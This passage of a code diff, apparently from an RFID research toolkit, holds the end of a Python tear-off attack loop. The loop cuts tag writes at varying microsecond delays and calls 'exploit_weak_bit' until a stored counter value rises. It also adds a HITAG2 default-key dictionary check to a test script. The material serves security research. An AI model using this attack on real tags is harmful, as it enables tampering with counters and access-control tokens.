print()
tear_us += 1
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
tear_us = start_taring_delay
while True:
for _ in range(repeat_write):
if payload_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
tmp = ponderated_read(b_num, repeat_read, sleep_long)
if max(tmp, key=tmp.get) > original_value:
print(f"{colors.bold}Success ! {colors.reset}")
return
else:
payload_flag = False
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
if value > original_value:
indic = colors.purple
payload_flag = True
elif value == payload_value:
indic = colors.green
payload_flag = True
elif value < trigger_value:
indic = colors.lightblue
elif value > trigger_value:
indic = colors.lightred
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
if __name__ == "__main__":
main()

View file

@ -256,6 +256,7 @@ while true; do
if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi
if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi
if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi
if ! CheckFileExist "HITAG2 dictionary exists" "$DICPATH/ht2_default.dic"; then break; fi
echo -e "\n${C_BLUE}Testing tools:${C_NC}"
if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi